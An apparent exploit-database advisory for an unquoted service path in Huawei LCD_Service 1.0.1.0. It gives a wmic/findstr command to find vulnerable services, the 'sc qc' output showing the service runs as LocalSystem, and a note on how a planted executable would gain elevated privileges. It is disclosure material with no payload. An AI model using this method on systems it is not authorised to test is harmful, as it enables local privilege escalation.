Lcd_service 1.0.1.0 lcd_service unquote service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-11-17 | Type : local | Platform : windows
This exploit / vulnerability Lcd_service 1.0.1.0 lcd_service unquote service path is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Huawei LCD_Service 1.0.1.0 - 'LCD_Service' Unquote Service Path
# Date: 2020-11-07
# Exploit Author: Gerardo González
# Vendor Homepage: https://consumer.huawei.com/mx
# Software Link: https://consumer.huawei.com/mx
# Version: 1.0.1.0
# Tested on: Windows 10 Home Single Language x64 Esp

# Step to discover the unquoted Service:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

# Service info:

Huawei LCD_Service LCD_Service C:\Program Files\Huawei\HwLcdEnhancement\LCD_Service.exe Auto

C:\Users\gerar>sc qc "LCD_Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: LCD_Service
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files\Huawei\HwLcdEnhancement\LCD_Service.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Huawei LCD_Service
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

# A successful attempt would require the local user to be able to insert their code in the system root path
# undetected by the OS or other security applications where it could potentially be executed during
# application startup or reboot. If successful, the local user's code would execute with the elevated
# privileges of the application.